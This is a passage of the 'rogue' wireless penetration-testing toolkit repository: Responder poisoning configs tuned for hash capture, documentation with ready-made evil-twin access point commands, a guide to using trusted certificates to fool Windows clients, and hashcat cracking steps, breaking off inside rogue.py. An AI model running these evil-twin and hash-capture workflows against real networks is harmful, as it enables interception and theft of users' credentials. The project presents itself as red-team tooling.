; Specific IP Addresses not to respond to (default = None) 59 | ; Hosts with IPv4 and IPv6 addresses must have both addresses included to prevent responding. 60 | ; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10, fe80::e059:5c8f:a486:a4ea-a4ef, 2001:db8::8a2e:370:7334 61 | DontRespondTo = %s 62 | 63 | ; Specific NBT-NS/LLMNR names not to respond to (default = None) 64 | ; Example: DontRespondTo = NAC, IPS, IDS 65 | DontRespondToName = ISATAP 66 | 67 | ; If set to On, we will stop answering further requests from a host 68 | ; if a hash has been previously captured for this host. 69 | AutoIgnoreAfterSuccess = Off 70 | 71 | ; If set to On, we will send ACCOUNT_DISABLED when the client tries 72 | ; to authenticate for the first time to try to get different credentials. 73 | ; This may break file serving and is useful only for hash capture 74 | CaptureMultipleCredentials = On 75 | 76 | ; If set to On, we will write to file all hashes captured from the same host. 77 | ; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto, 78 | ; domain\popo, domain\zozo. Recommended value: On, capture everything. 79 | CaptureMultipleHashFromSameHost = On 80 | 81 | [HTTP Server] 82 | 83 | ; Set to On to always serve the custom EXE 84 | Serve-Always = Off 85 | 86 | ; Set to On to replace any requested .exe with the custom EXE 87 | Serve-Exe = Off 88 | 89 | ; Set to On to serve the custom HTML if the URL does not contain .exe 90 | ; Set to Off to inject the 'HTMLToInject' in web pages instead 91 | Serve-Html = Off 92 | 93 | ; Custom HTML to serve 94 | HtmlFilename = files/AccessDenied.html 95 | 96 | ; Custom EXE File to serve 97 | ExeFilename = ;files/filetoserve.exe 98 | 99 | ; Name of the downloaded .exe that the client will see 100 | ExeDownloadName = ProxyClient.exe 101 | 102 | ; Custom WPAD Script 103 | ; Only set one if you really know what you're doing. Responder is taking care of that and inject the right one, with your current IP address. 104 | WPADScript = 105 | 106 | ; HTML answer to inject in HTTP responses (before tag). 107 | ; leave empty if you want to use the default one (redirect to SMB on your IP address). 108 | HTMLToInject = 109 | 110 | [HTTPS Server] 111 | 112 | ; Configure SSL Certificates to use 113 | SSLCert = certs/responder.crt 114 | SSLKey = certs/responder.key 115 | 116 | ''' 117 | 118 | # Disable Responder's HTTP services by default 119 | responder_no_http_conf = '''[Responder Core] 120 | 121 | ; Poisoners to start 122 | MDNS = On 123 | LLMNR = On 124 | NBTNS = On 125 | 126 | ; Servers to start 127 | SQL = On 128 | SMB = On 129 | RDP = On 130 | Kerberos = On 131 | FTP = On 132 | POP = On 133 | SMTP = On 134 | IMAP = On 135 | HTTP = Off 136 | HTTPS = Off 137 | DNS = On 138 | LDAP = On 139 | DCERPC = On 140 | WINRM = On 141 | SNMP = Off 142 | MQTT = On 143 | 144 | ; Custom challenge. 145 | ; Use "Random" for generating a random challenge for each requests (Default) 146 | Challenge = Random 147 | 148 | ; SQLite Database file 149 | ; Delete this file to re-capture previously captured hashes 150 | Database = Responder.db 151 | 152 | ; Default log file 153 | SessionLog = Responder-Session.log 154 | 155 | ; Poisoners log 156 | PoisonersLog = Poisoners-Session.log 157 | 158 | ; Analyze mode log 159 | AnalyzeLog = Analyzer-Session.log 160 | 161 | ; Dump Responder Config log: 162 | ResponderConfigDump = Config-Responder.log 163 | 164 | ; Specific IP Addresses to respond to (default = All) 165 | ; Example: RespondTo = 10.20.1.100-150, 10.20.3.10, fe80::e059:5c8f:a486:a4ea-a4ef, 2001:db8::8a2e:370:7334 166 | RespondTo = 167 | 168 | ; Specific NBT-NS/LLMNR names to respond to (default = All) 169 | ; Example: RespondTo = WPAD, DEV, PROD, SQLINT 170 | ;RespondToName = WPAD, DEV, PROD, SQLINT 171 | RespondToName = 172 | 173 | ; Specific IP Addresses not to respond to (default = None) 174 | ; Hosts with IPv4 and IPv6 addresses must have both addresses included to prevent responding. 175 | ; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10, fe80::e059:5c8f:a486:a4ea-a4ef, 2001:db8::8a2e:370:7334 176 | DontRespondTo = %s 177 | 178 | ; Specific NBT-NS/LLMNR names not to respond to (default = None) 179 | ; Example: DontRespondTo = NAC, IPS, IDS 180 | DontRespondToName = ISATAP 181 | 182 | ; If set to On, we will stop answering further requests from a host 183 | ; if a hash has been previously captured for this host. 184 | AutoIgnoreAfterSuccess = Off 185 | 186 | ; If set to On, we will send ACCOUNT_DISABLED when the client tries 187 | ; to authenticate for the first time to try to get different credentials. 188 | ; This may break file serving and is useful only for hash capture 189 | CaptureMultipleCredentials = On 190 | 191 | ; If set to On, we will write to file all hashes captured from the same host. 192 | ; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto, 193 | ; domain\popo, domain\zozo. Recommended value: On, capture everything. 194 | CaptureMultipleHashFromSameHost = On 195 | 196 | [HTTP Server] 197 | 198 | ; Set to On to always serve the custom EXE 199 | Serve-Always = Off 200 | 201 | ; Set to On to replace any requested .exe with the custom EXE 202 | Serve-Exe = Off 203 | 204 | ; Set to On to serve the custom HTML if the URL does not contain .exe 205 | ; Set to Off to inject the 'HTMLToInject' in web pages instead 206 | Serve-Html = Off 207 | 208 | ; Custom HTML to serve 209 | HtmlFilename = files/AccessDenied.html 210 | 211 | ; Custom EXE File to serve 212 | ExeFilename = ;files/filetoserve.exe 213 | 214 | ; Name of the downloaded .exe that the client will see 215 | ExeDownloadName = ProxyClient.exe 216 | 217 | ; Custom WPAD Script 218 | ; Only set one if you really know what you're doing. Responder is taking care of that and inject the right one, with your current IP address. 219 | WPADScript = 220 | 221 | ; HTML answer to inject in HTTP responses (before tag). 222 | ; leave empty if you want to use the default one (redirect to SMB on your IP address). 223 | HTMLToInject = 224 | 225 | [HTTPS Server] 226 | 227 | ; Configure SSL Certificates to use 228 | SSLCert = certs/responder.crt 229 | SSLKey = certs/responder.key 230 | 231 | ''' 232 | -------------------------------------------------------------------------------- /docs/Additional Tools/hashcatifier.rst: -------------------------------------------------------------------------------- 1 | Hashcatifier 2 | ======================================= 3 | 4 | [Hashcatifier](https://github.com/InfamousSYN/rogue/blob/master/tools/hashcatifer.py) is a simple tool used to convert the captured hashes to a format that is consumable by hashcat. 5 | 6 | ## Arguments 7 | 8 | - `--file` - Used to point to the `freeradius-server-wpe.log` containing the captured credentials from `rogue`, 9 | - `--output` - Specify the name of the output file, 10 | - `--format` - Specify the format to output hashes, currently only the supported format is the NET-NTLMv1 (`hashcat -m 5500`) 11 | - `--mode` - Specify the number of hashes to reformat 12 | 13 | ## Usage 14 | 15 | 1. Run the hashcatifier utility 16 | 17 | ```bash 18 | sudo python3 /opt/rogue/tools/hashcatifer.py --file [freeradius-server-wpe.log] -o [output format] 19 | ``` 20 | 21 | 2. Launch hashcat with the supplied command 22 | 23 | ```bash 24 | hashcat -m 5500 [output format] -w [wordlist] 25 | ``` 26 | -------------------------------------------------------------------------------- /docs/Arguments/802-11.rst: -------------------------------------------------------------------------------- 1 | 802.11 Arguments 2 | ======================================= 3 | -------------------------------------------------------------------------------- /docs/Arguments/802-11ac.rst: -------------------------------------------------------------------------------- 1 | 802.11ac Arguments 2 | ======================================= 3 | -------------------------------------------------------------------------------- /docs/Arguments/802-11n.rst: -------------------------------------------------------------------------------- 1 | 802.11n Arguments 2 | ======================================= 3 | -------------------------------------------------------------------------------- /docs/Arguments/802-1x.rst: -------------------------------------------------------------------------------- 1 | 802.1X-2004 Arguments 2 | ======================================= 3 | -------------------------------------------------------------------------------- /docs/Arguments/WEP.rst: -------------------------------------------------------------------------------- 1 | WEP Arguments 2 | ======================================= 3 | -------------------------------------------------------------------------------- /docs/Arguments/WPA-PSK.rst: -------------------------------------------------------------------------------- 1 | WPA Arguments 2 | ======================================= 3 | -------------------------------------------------------------------------------- /docs/Arguments/attack: -------------------------------------------------------------------------------- 1 | Integrated Attack Modules Arguments 2 | ======================================= 3 | 4 | ## General Arguments 5 | 6 | ## SSLSplit Module 7 | 8 | ## Modlishka Module 9 | -------------------------------------------------------------------------------- /docs/Arguments/dhcp.rst: -------------------------------------------------------------------------------- 1 | DHCP Arguments 2 | ======================================= 3 | -------------------------------------------------------------------------------- /docs/Arguments/general.rst: -------------------------------------------------------------------------------- 1 | General Arguments 2 | ================= 3 | 4 | manual 5 | ^^^^^^ 6 | 7 | The `--manual` argument allows the user to specify a bespoke `hostapd-wpe.conf` file rather than using the dynamically generated version in `tmp/hostapd-wpe.conf`. 8 | 9 | internet 10 | ^^^^^^^^ 11 | 12 | The `--internet` argument allows two interfaces to be bridged to allow upstream network communication to be supplied to rogue subnet. 13 | 14 | authentication 15 | ^^^^^^^^^^^^^^ 16 | 17 | The `--auth` argument specifies which authentication method be used by the rogue WLAN. 18 | 19 | certificate wizard 20 | ^^^^^^^^^^^^^^^^^^ 21 | 22 | The `--cert-wizard` argument invokes the self-signed certificate generation workflow, which is typically required to be conducted the first time rogue is used unless externally generated certificates are being used. 23 | 24 | show options 25 | ^^^^^^^^^^^^ 26 | 27 | The `--show-options` argument prints the list of invoked arguments and their values. 28 | 29 | interface 30 | ^^^^^^^^^^ 31 | 32 | The `--interface` argument is used to specify which WLAN interface will be used to service the rogue WLAN. 33 | -------------------------------------------------------------------------------- /docs/Arguments/radius.rst: -------------------------------------------------------------------------------- 1 | RADIUS Arguments 2 | ======================================= 3 | -------------------------------------------------------------------------------- /docs/Examples/Configuring evil-twin AP with different 802.11 protocols.rst: -------------------------------------------------------------------------------- 1 | Configuring evil-twin AP with different 802.11 protocols 2 | ======================================= 3 | 4 | 802.11b (wifi 1) 5 | ^^^^^^^^^^^^^^^^ 6 | 7 | ```bash 8 | sudo python3 /opt/rogue/rogue.py -i wlan0 --auth open --preset-profile wifi1 --channel-randomiser 9 | ``` 10 | 11 | 802.11a (wifi 2) 12 | ^^^^^^^^^^^^^^^^ 13 | 14 | ```bash 15 | sudo python3 /opt/rogue/rogue.py -i wlan0 --auth open --preset-profile wifi2 --channel-randomiser 16 | ``` 17 | 18 | 802.11g (wifi 3) 19 | ^^^^^^^^^^^^^^^^ 20 | 21 | ```bash 22 | sudo python3 /opt/rogue/rogue.py -i wlan0 --auth open --preset-profile wifi3 --channel-randomiser 23 | ``` 24 | 25 | 802.11n (2.4GHz) (wifi 4) 26 | ^^^^^^^^^^^^^^^^ 27 | 28 | ```bash 29 | sudo python3 /opt/rogue/rogue.py -i wlan0 --auth open --preset-profile wifi4 --channel-randomiser 30 | ``` 31 | 32 | 802.11n (5GHz) (wifi 4) 33 | ^^^^^^^^^^^^^^^^ 34 | 35 | ```bash 36 | sudo python3 /opt/rogue/rogue.py -i wlan0 --auth open --preset-profile wifi4 --freq 5 --channel-randomiser 37 | ``` 38 | 39 | 802.11ac (wifi 5) 40 | ^^^^^^^^^^^^^^^^ 41 | 42 | ```bash 43 | sudo python3 /opt/rogue/rogue.py -i wlan0 --auth open --preset-profile wifi5 --channel-randomiser 44 | ``` 45 | 46 | 802.11ax (wifi 6) 47 | ^^^^^^^^^^^^^^^^ 48 | 49 | ```bash 50 | coming soon... 51 | ``` 52 | 53 | 802.11be (wifi 7) 54 | ^^^^^^^^^^^^^^^^ 55 | 56 | ```bash 57 | coming soon... 58 | ``` 59 | 60 | Manual 802.11 configuration 61 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^ 62 | 63 | Instead of using the [`--preset-profile`](https://the-rogue-toolkit.readthedocs.io/en/latest/Arguments/802-11.html#preset-profile) as a shortcut for pre-configured 802.11 protocols, the various 802.11n arguments can be invoked directly at runtime. This allows for great control over the 802.11 configuration being used. 64 | 65 | ```bash 66 | sudo python3 /opt/rogue/rogue.py -i wlan0 --auth open -hm ac --freq 5 -c 36 --htmode 2 --require-ht --wmm-enabled --require-vht --disable-short160 67 | ``` 68 | 69 | Custom hostapd-wpe configuration 70 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 71 | 72 | The [`--manual`](https://the-rogue-toolkit.readthedocs.io/en/latest/Arguments/general.html#manual) argument allows an external `hostapd-wpe.conf` file to be used to configure the hostapd-wpe component. This is different to manually configuring the 802.11 settings, as rogue is still used in the alternative methods to dynamically generate the `hostapd-wpe.conf` file. 73 | 74 | ```bash 75 | sudo python3 /opt/rogue/rogue.py --manual /opt/rogue/tmp/hostapd-wpe.conf 76 | ``` 77 | -------------------------------------------------------------------------------- /docs/Examples/Configuring evil-twin AP with different authentication methods.rst: -------------------------------------------------------------------------------- 1 | Configuring evil-twin AP with different authentication methods 2 | ======================================= 3 | 4 | Open Authentication 5 | ^^^^^^^^^^^^^^^^^^^ 6 | 7 | ```bash 8 | sudo python3 /opt/rogue/rogue.py -i wlan0 --auth open --internet --preset-profile wifi4 --channel-randomiser 9 | ``` 10 | 11 | WEP Authentication 12 | ^^^^^^^^^^^^^^^^^^ 13 | 14 | ```bash 15 | sudo python3 /opt/rogue/rogue.py -i wlan0 --auth wep --wep-key-version 0 --wep-key 4141414141 --preset-profile wifi4 --channel-randomiser 16 | ``` 17 | 18 | WPA-PSK Authentication 19 | ^^^^^^^^^^^^^^^^^^^^^^^ 20 | 21 | WPA1-PSK Authentication 22 | ----------------------- 23 | 24 | ```bash 25 | sudo python3 /opt/rogue/rogue.py -i wlan0 --auth wpa-personal --wpa 1 --wpa-passphrase "test test" --preset-profile wifi4 --channel-randomiser 26 | ``` 27 | 28 | WPA2-PSK Authentication 29 | ----------------------- 30 | 31 | ```bash 32 | sudo python3 /opt/rogue/rogue.py -i wlan0 --auth wpa-personal --wpa 2 --wpa-passphrase "test test" --preset-profile wifi4 --channel-randomiser 33 | ``` 34 | 35 | WPA2-Enterprise Authentication 36 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 37 | 38 | EAP-PEAP/MSCHAP Authentication 39 | ------------------------------ 40 | 41 | ```bash 42 | sudo python3 /opt/rogue/rogue.py -i wlan0 --auth wpa-enterprise --preset-profile wifi4 --channel-randomiser --default-eap peap -E all 43 | ``` 44 | 45 | **Note:** Captured credentials will be stored in `/opt/rogue/logs/freeradius-server-wpe.log`. 46 | -------------------------------------------------------------------------------- /docs/Examples/Generate a self-signed radius certificate.rst: -------------------------------------------------------------------------------- 1 | Generate a self-signed radius certificate 2 | ======================================= 3 | 4 | The first time using rogue after the initial installation, it is required (unless using a custom certificate set) to generate a self-signed certificate to be used. 5 | 6 | ```bash 7 | sudo python3 /opt/rogue/rogue.py --cert-wizard 8 | ``` 9 | -------------------------------------------------------------------------------- /docs/Examples/Using rogue with external certificates for RADIUS identity.rst: -------------------------------------------------------------------------------- 1 | Using rogue with external certificates for RADIUS identity 2 | ========================================================== 3 | 4 | By default Wireless Network Profiles (WNPs) that are created on windows corporate devices are instructured to validate the server's identity. Therefore when Rogue presents a self-signed certificate to connecting windows devices, said devices will reject the certificate and the authentication process ends; refer to the [An adversarial perspective of the Windows supplicant settings](https://blog.infamoussyn.com/posts/wifi/2023/04/07/Understanding-PEAP-settings-in-windows.html) article for more in-depth insight into the behaviour. This example guide outlines the highlevels steps for deploying rogue with external certificates to leverage insight outlined in the article, a link to a more in-depth blogpost of the end-to-end advanced evil twin attacks has been provided in the reference list below. 5 | 6 | 7 | 8 | Generating the Let's Encrypt certificate 9 | ---------------------------------------- 10 | 11 | The adversary would have to buy a domain, then create an A record for a machine (such as an EC2 instance). However, assuming that is all done. 12 | 13 | Install and configure cert-bot using the below command on the machine: 14 | 15 | ```bash 16 | sudo apt update --assume-yes; apt install libaugeas0 --assume-yes 17 | sudo python3 -m pip install certbot certbot-apache 18 | sudo ln -s /opt/certbot/bin/certbot /usr/bin/certbot 19 | ``` 20 | 21 | Run the cert-bot client and follow the steps: 22 | 23 | ```bash 24 | certbot certonly -d rogue.pki.infamoussyn.com 25 | ``` 26 | 27 | Transfer the certificates to the machine operating rogue. 28 | 29 | Launching rogue with the custom certificates 30 | -------------------------------------------- 31 | 32 | Launch rogue, specifying the paths to the files created by let's encrypt: 33 | 34 | ```bash 35 | sudo python3 /opt/rogue/rogue.py --preset-profile wifi4 --essid rogue -i wlan0 --auth wpa-enterprise --channel-randomiser --default-eap peap -E all --server-certificate /home/vagrant/fullchain.pem --ca-certificate /home/vagrant/chain.pem --server-private-key /home/vagrant/privkey.pem 36 | ``` 37 | 38 | References 39 | ---------- 40 | 41 | - [An adversarial perspective of the Windows supplicant settings](https://blog.infamoussyn.com/posts/wifi/2023/04/07/Understanding-PEAP-settings-in-windows.html) 42 | - [Cracking WPA2-EAP WLAN perimeters with Evil Twin attacks](https://blog.infamoussyn.com/posts/wifi/2023/02/12/cracking_wpa2-eap_wlan_perimeters_with_evil_twin_attacks.html) 43 | -------------------------------------------------------------------------------- /docs/Installation/linux.rst: -------------------------------------------------------------------------------- 1 | Linux 2 | ======================================= 3 | 4 | 1. Download rogue 5 | 6 | ```bash 7 | git clone https://github.com/InfamousSYN/rogue ; cd ./rogue 8 | ``` 9 | 10 | 2. Run the installer 11 | 12 | ```bash 13 | sudo python3 ./install.py 14 | ``` 15 | -------------------------------------------------------------------------------- /docs/Makefile: -------------------------------------------------------------------------------- 1 | # Minimal makefile for Sphinx documentation 2 | # 3 | 4 | # You can set these variables from the command line, and also 5 | # from the environment for the first two. 6 | SPHINXOPTS ?= 7 | SPHINXBUILD ?= sphinx-build 8 | SOURCEDIR = . 9 | BUILDDIR = _build 10 | 11 | # Put it first so that "make" without argument is like "make help". 12 | help: 13 | @$(SPHINXBUILD) -M help "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) 14 | 15 | .PHONY: help Makefile 16 | 17 | # Catch-all target: route all unknown targets to Sphinx using the new 18 | # "make mode" option. $(O) is meant as a shortcut for $(SPHINXOPTS). 19 | %: Makefile 20 | @$(SPHINXBUILD) -M $@ "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) 21 | -------------------------------------------------------------------------------- /docs/README.md: -------------------------------------------------------------------------------- 1 | # The Rogue Toolkil 2 | -------------------------------------------------------------------------------- /docs/conf.py: -------------------------------------------------------------------------------- 1 | # Configuration file for the Sphinx documentation builder. 2 | # 3 | # This file only contains a selection of the most common options. For a full 4 | # list see the documentation: 5 | # https://www.sphinx-doc.org/en/master/usage/configuration.html 6 | 7 | # -- Path setup -------------------------------------------------------------- 8 | 9 | # If extensions (or modules to document with autodoc) are in another directory, 10 | # add these directories to sys.path here. If the directory is relative to the 11 | # documentation root, use os.path.abspath to make it absolute, like shown here. 12 | # 13 | # import os 14 | # import sys 15 | # sys.path.insert(0, os.path.abspath('.')) 16 | 17 | 18 | # -- Project information ----------------------------------------------------- 19 | 20 | project = 'rogue' 21 | copyright = '2023, InfamousSYN' 22 | author = 'InfamousSYN' 23 | 24 | # The full version, including alpha/beta/rc tags 25 | release = '3.0.3' 26 | 27 | 28 | # -- General configuration --------------------------------------------------- 29 | 30 | # Add any Sphinx extension module names here, as strings. They can be 31 | # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom 32 | # ones. 33 | import sphinx_rtd_theme 34 | import myst_parser 35 | 36 | extensions = [ 37 | "sphinx_rtd_theme", 38 | "myst_parser" 39 | ] 40 | 41 | # Add any paths that contain templates here, relative to this directory. 42 | templates_path = ['_templates'] 43 | 44 | # List of patterns, relative to source directory, that match files and 45 | # directories to ignore when looking for source files. 46 | # This pattern also affects html_static_path and html_extra_path. 47 | exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] 48 | 49 | 50 | # -- Options for HTML output ------------------------------------------------- 51 | 52 | # The theme to use for HTML and HTML Help pages. See the documentation for 53 | # a list of builtin themes. 54 | # 55 | html_theme = 'sphinx_rtd_theme' 56 | 57 | # Add any paths that contain custom static files (such as style sheets) here, 58 | # relative to this directory. They are copied after the builtin static files, 59 | # so a file named "default.css" will overwrite the builtin "default.css". 60 | html_static_path = ['_static'] 61 | 62 | master_doc = 'index' 63 | -------------------------------------------------------------------------------- /docs/index.rst: -------------------------------------------------------------------------------- 1 | The Rogue Toolkit 2 | ======================================= 3 | 4 | An extensible toolkit providing penetration testers an easy-to-use platform to deploy Access Points during penetration testing and red team engagements. 5 | 6 | .. toctree:: 7 | :maxdepth: 2 8 | :hidden: 9 | :caption: Installation 10 | 11 | Installation/linux 12 | 13 | .. toctree:: 14 | :maxdepth: 2 15 | :hidden: 16 | :caption: Arguments 17 | 18 | Arguments/general 19 | Arguments/802-11 20 | Arguments/802-11n 21 | Arguments/802-11ac 22 | Arguments/WEP 23 | Arguments/WPA-PSK 24 | Arguments/802-1x 25 | Arguments/radius 26 | Arguments/dhcp 27 | Arguments/attack 28 | 29 | .. toctree:: 30 | :maxdepth: 2 31 | :hidden: 32 | :caption: Examples 33 | 34 | Examples/Configuring evil-twin AP with different authentication methods 35 | Examples/Configuring evil-twin AP with different 802.11 protocols 36 | Examples/Generate a self-signed radius certificate 37 | Examples/Using rogue with external certificates for RADIUS identity 38 | 39 | .. toctree:: 40 | :maxdepth: 2 41 | :hidden: 42 | :caption: Troubleshooting 43 | 44 | .. toctree:: 45 | :maxdepth: 2 46 | :hidden: 47 | :caption: Additional Tools 48 | 49 | Additional Tools/hashcatifier 50 | -------------------------------------------------------------------------------- /docs/make.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | pushd %~dp0 4 | 5 | REM Command file for Sphinx documentation 6 | 7 | if "%SPHINXBUILD%" == "" ( 8 | set SPHINXBUILD=sphinx-build 9 | ) 10 | set SOURCEDIR=. 11 | set BUILDDIR=_build 12 | 13 | if "%1" == "" goto help 14 | 15 | %SPHINXBUILD% >NUL 2>NUL 16 | if errorlevel 9009 ( 17 | echo. 18 | echo.The 'sphinx-build' command was not found. Make sure you have Sphinx 19 | echo.installed, then set the SPHINXBUILD environment variable to point 20 | echo.to the full path of the 'sphinx-build' executable. Alternatively you 21 | echo.may add the Sphinx directory to PATH. 22 | echo. 23 | echo.If you don't have Sphinx installed, grab it from 24 | echo.http://sphinx-doc.org/ 25 | exit /b 1 26 | ) 27 | 28 | %SPHINXBUILD% -M %1 %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% %O% 29 | goto end 30 | 31 | :help 32 | %SPHINXBUILD% -M help %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% %O% 33 | 34 | :end 35 | popd 36 | -------------------------------------------------------------------------------- /docs/requirements.txt: -------------------------------------------------------------------------------- 1 | sphinx_rtd_theme 2 | myst_parser 3 | -------------------------------------------------------------------------------- /install.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import os 3 | import config 4 | 5 | def read_deps_file(deps_file): 6 | with open(deps_file) as fd: 7 | return " ".join([ line.strip() for line in fd ]) 8 | 9 | if __name__ == "__main__": 10 | try: 11 | if input("Do you want update your package list ('apt-get update')? [y/N]").lower() == "y": 12 | print("[*] Downloading package lists from repositories") 13 | os.system("apt-get update -y") 14 | 15 | print("[*] Installing Rogue's software dependencies...") 16 | os.system("apt-get install -y %s" % read_deps_file(config.software_dep)) 17 | print("[*] complete!") 18 | 19 | print("[*] Installing Rogue's Python dependencies...") 20 | os.system("python3 -m pip install -r %s" % config.pip_dep) 21 | print("[*] complete!") 22 | 23 | # Check if required directories exist 24 | print("[*] Checking if rogue's temporary directory exists") 25 | try: 26 | os.stat(config.working_dir) 27 | except: 28 | print("[+] Creating rogue's temporary directory") 29 | os.mkdir(config.working_dir) 30 | 31 | print("[*] Checking if rogue's log directory exists") 32 | try: 33 | os.stat(config.logdir) 34 | except: 35 | print("[+] Creating rogue's log directory") 36 | os.mkdir(config.logdir) 37 | 38 | print("[*] Checking if sslsplit's temporary directory exists") 39 | try: 40 | os.stat(config.sslsplit_tmp) 41 | except: 42 | print("[+] Creating rogue's temporary sslsplit directory") 43 | os.mkdir(config.sslsplit_tmp) 44 | 45 | print("[*] Checking if sslsplit's jail directory exists") 46 | try: 47 | os.stat(config.sslsplit_jail) 48 | except: 49 | print("[+] Creating rogue's sslsplit jail directory") 50 | os.mkdir(config.sslsplit_jail) 51 | 52 | except KeyboardInterrupt: 53 | exit(0) 54 | -------------------------------------------------------------------------------- /install/pip.req: -------------------------------------------------------------------------------- 1 | tqdm 2 | netifaces 3 | netaddr 4 | -------------------------------------------------------------------------------- /install/software.req: -------------------------------------------------------------------------------- 1 | hostapd-wpe 2 | freeradius-wpe 3 | freeradius-utils 4 | isc-dhcp-server 5 | sslsplit 6 | responder 7 | python3-pip 8 | iw 9 | wireless-tools 10 | -------------------------------------------------------------------------------- /logs/freeradius-wpe.log: -------------------------------------------------------------------------------- 1 | # This a dynamically generated file. Do not edit this by hand. -------------------------------------------------------------------------------- /rogue.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import os 3 | import _thread 4 | import time 5 | import subprocess 6 | import select 7 | from netaddr import IPAddress 8 | import netifaces 9 | 10 | import config 11 | from core.libs import utils 12 | from core.libs import options as Options 13 | from core.libs import conf_manager 14 | from core.libs import cert_wizard 15 | 16 | class rogueClass(): 17 | 18 | @staticmethod 19 | def rogue_shutdown(options): 20 | ##### Ending Program ##### 21 | 22 | # kill daemons 23 | utils.Hostapd.kill() 24 | utils.IscDhcpServer.stop() 25 | 26 | if (options['auth'] == 'wpa-enterprise'): 27 | utils.Freeradius.kill() 28 | 29 | if(options['internet']): 30 | print("[*] Disabling IP forwarding") 31 | utils.set_ipforward(0) 32 | 33 | if(options['sslsplit']): 34 | utils.Sslsplit.kill() 35 | 36 | if(options['responder']): 37 | utils.Responder.kill_by_name('Responder') 38 | print("[+] Restoring default responder configuration") 39 | conf_manager.responder_default_conf.configure(do_not_respond_to_own_ip_addr='') 40 | else: 41 | pass 42 | 43 | if(options['modlishka']): 44 | utils.Modlishka.kill() 45 | 46 | rogueClass.iptablesStop() 47 | 48 | if(options['country_code'] != "#country_code=AU"): 49 | print("[*] Resetting Regulatory Domain") 50 | utils.set_reg() 51 | 52 | # cleanly allow network manager to regain control of interface 53 | utils.nmcli.set_managed(options['interface']) 54 | 55 | @staticmethod 56 | def is_interface_up(interface): 57 | addr = netifaces.ifaddresses(interface) 58 | return netifaces.AF_INET in addr 59 | 60 | @staticmethod 61 | def CatchThread(input, threadType): 62 | input('Press enter to quit %s...' % threadType) 63 | 64 | input.append(True) 65 | 66 | return 67 | 68 | @staticmethod 69 | def iptablesStart(): 70 | utils.Iptables.accept_all() 71 | utils.Iptables.flush() 72 | utils.Iptables.flush('nat') 73 | 74 | return 0 75 | 76 | @staticmethod 77 | def dhcpiptablesStart(): 78 | utils.Iptables.flush() 79 | utils.Iptables.flush('nat') 80 | 81 | utils.Iptables.isc_dhcp_server_rules(options['ip_address'], options['interface'], options['secondary_interface']) 82 | 83 | return 0 84 | 85 | @staticmethod 86 | def sslsplitiptablesStart(sslsplit_encrypted_port): 87 | utils.Iptables.sslsplit_rules(sslsplit_encrypted_port) 88 | 89 | return 0 90 | 91 | @staticmethod 92 | def iptablesStop(): 93 | utils.Iptables.accept_all() 94 | utils.Iptables.flush() 95 | utils.Iptables.flush('nat') 96 | 97 | return 0 98 | 99 | @staticmethod 100 | def dhcpRoute(ip_address): 101 | return ", ".join(ip_address.split(".")) 102 | 103 | @staticmethod 104 | def dhcpCidr(dhcp_netmask): 105 | return IPAddress(dhcp_netmask).netmask_bits() 106 | 107 | 108 | 109 | if __name__ == '__main__': 110 | print("[*] Launching the rogue toolkit v{}\r\n[-]".format(config.__version__)) 111 | options = Options.set_options() 112 | if options == 1: 113 | exit(1) 114 | if(options['show_options']): 115 | print("[+] Options:\r\n[-] {}\r\n[-]".format(options)) 116 | 117 | if options['cert_wizard']: 118 | cert_wizard.cert_wizard() 119 | exit(0) 120 | elif(options['auth'] == 'wpa-enterprise'): 121 | import os 122 | try: 123 | print('[-] Checking required RADIUS certificate files exist...') 124 | if(not os.path.isfile(options['server_certificate'])): 125 | print('[!] \'{}\' does not exist!'.format(options['server_certificate'])) 126 | raise 127 | if(not os.path.isfile(options['server_private_key'])): 128 | print('[!] \'{}\' does not exist!'.format(options['server_private_key'])) 129 | raise 130 | if(not os.path.isfile(options['ca_certificate'])): 131 | print('[!] \'{}\' does not exist!'.format(options['ca_certificate'])) 132 | raise 133 | if(not os.path.isfile(config.dh_file)): 134 | print('[!] \'{}\' does not exist!'.format(config.dh_file)) 135 | print('[-] creating dh file in location \'{}\''.format(config.certs_dir)) 136 | import os 137 | os.system('openssl dhparam -check -text -5 1024 -out {}/dh'.format(config.certs_dir)) 138 | print('[-] Check RADIUS certificate files exist passed...') 139 | except Exception as e: 140 | print('[!] Run \'sudo python3 rogue.py --cert-wizard\' command to generate the required certificate files') 141 | exit(0) 142 | else: 143 | pass 144 | 145 | if(options['sslsplit'] and options['cert_nopass']): 146 | 147 | print("[*] Generating a ca.key without a password") 148 | os.system("openssl rsa -in %s/ca.key -out %s/ca_no_pass.key" % (config.certs_dir, config.certs_dir)) 149 | os.system("openssl req -new -x509 -days 1826 -key %s -out %s" % (config.ca_key, config.ca_crt)) 150 | 151 | exit(0) 152 | 153 | else: 154 | pass 155 | 156 | try: 157 | if rogueClass.is_interface_up(options['interface']): 158 | pass 159 | except Exception as e: 160 | print("[!] Interface {} does not exist, {}".format(options['interface'], e)) 161 | exit(1) 162 | 163 | from datetime import datetime 164 | starttime=datetime.now() 165 | print("[-] Launching rogue at: {}".format(starttime)) 166 | try: 167 | utils.nmcli.set_unmanaged(options['interface']) 168 | 169 | # creates the required hostapd-wpe.conf 170 | if options['auth'] == 'open': 171 | if(options['hostapd_manual_conf'] is not None): 172 | conf_manager.hostapd_custom_cnf.configure( 173 | hostapd_location=options['hostapd_manual_conf'] 174 | ) 175 | else: 176 | conf_manager.hostapd_open_cnf.configure( 177 | driver=options['driver'], 178 | interface=options['interface'], 179 | ssid=options['essid'], 180 | beacon_interval=options['beacon_interval'], 181 | hw_mode=options['hw_mode'], 182 | ieee80211n=options['ieee80211n'], 183 | bssid=options['bssid'], 184 | channel=options['channel'], 185 | 